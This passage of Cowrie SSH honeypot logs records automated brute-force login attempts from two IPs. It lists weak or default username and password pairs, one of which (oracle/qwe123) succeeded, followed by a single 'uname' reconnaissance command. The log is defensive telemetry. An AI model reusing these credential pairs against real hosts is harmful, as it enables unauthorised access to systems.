openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:48.534281Z","src_ip":"192.109.200.78","session":"3deff8445f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:48.785696Z","src_ip":"192.109.200.78","session":"3deff8445f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44578,"dst_ip":"159.203.135.109","dst_port":22,"session":"90324248e51e","protocol":"ssh","message":"New connection: 176.65.139.95:44578 (159.203.135.109:22) [session: 90324248e51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:49.243143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:49.249868Z","src_ip":"176.65.139.95","session":"90324248e51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:49.336061Z","src_ip":"176.65.139.95","session":"90324248e51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:49.740514Z","src_ip":"176.65.139.95","session":"90324248e51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:50.002451Z","src_ip":"192.109.200.78","session":"3deff8445f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:50.828579Z","src_ip":"176.65.139.95","session":"90324248e51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"f810e471b9fb","protocol":"ssh","message":"New connection: 192.109.200.78:41964 (159.203.135.109:22) [session: f810e471b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:52.686641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:52.691476Z","src_ip":"192.109.200.78","session":"f810e471b9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:52.777829Z","src_ip":"192.109.200.78","session":"f810e471b9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:53.027604Z","src_ip":"192.109.200.78","session":"f810e471b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:54.113881Z","src_ip":"192.109.200.78","session":"f810e471b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44594,"dst_ip":"159.203.135.109","dst_port":22,"session":"a91892703902","protocol":"ssh","message":"New connection: 176.65.139.95:44594 (159.203.135.109:22) [session: a91892703902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:55.059606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:55.069657Z","src_ip":"176.65.139.95","session":"a91892703902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:55.143498Z","src_ip":"176.65.139.95","session":"a91892703902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:55.565099Z","src_ip":"176.65.139.95","session":"a91892703902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:56.683050Z","src_ip":"176.65.139.95","session":"a91892703902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41970,"dst_ip":"159.203.135.109","dst_port":22,"session":"83bd5765cc46","protocol":"ssh","message":"New connection: 192.109.200.78:41970 (159.203.135.109:22) [session: 83bd5765cc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:56.717096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:56.722043Z","src_ip":"192.109.200.78","session":"83bd5765cc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:56.806957Z","src_ip":"192.109.200.78","session":"83bd5765cc46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:57.061049Z","src_ip":"192.109.200.78","session":"83bd5765cc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:58.146156Z","src_ip":"192.109.200.78","session":"83bd5765cc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"711b7b58cbaa","protocol":"ssh","message":"New connection: 192.109.200.78:51948 (159.203.135.109:22) [session: 711b7b58cbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.033218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.038559Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35966,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca56a48904ea","protocol":"ssh","message":"New connection: 176.65.139.95:35966 (159.203.135.109:22) [session: ca56a48904ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.091303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.097555Z","src_ip":"176.65.139.95","session":"ca56a48904ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.123884Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.189111Z","src_ip":"176.65.139.95","session":"ca56a48904ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.392129Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.634203Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.637377Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.645876Z","src_ip":"176.65.139.95","session":"ca56a48904ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.727805Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:01.750390Z","src_ip":"192.109.200.78","session":"711b7b58cbaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:02.745335Z","src_ip":"176.65.139.95","session":"ca56a48904ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51960,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea04271221ce","protocol":"ssh","message":"New connection: 192.109.200.78:51960 (159.203.135.109:22) [session: ea04271221ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:05.117956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:05.232821Z","src_ip":"192.109.200.78","session":"ea04271221ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:05.236386Z","src_ip":"192.109.200.78","session":"ea04271221ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:05.623039Z","src_ip":"192.109.200.78","session":"ea04271221ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:06.719823Z","src_ip":"192.109.200.78","session":"ea04271221ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35974,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef72a0b22bfd","protocol":"ssh","message":"New connection: 176.65.139.95:35974 (159.203.135.109:22) [session: ef72a0b22bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:07.329396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:07.347695Z","src_ip":"176.65.139.95","session":"ef72a0b22bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:07.464788Z","src_ip":"176.65.139.95","session":"ef72a0b22bfd","protocol":"ssh"}
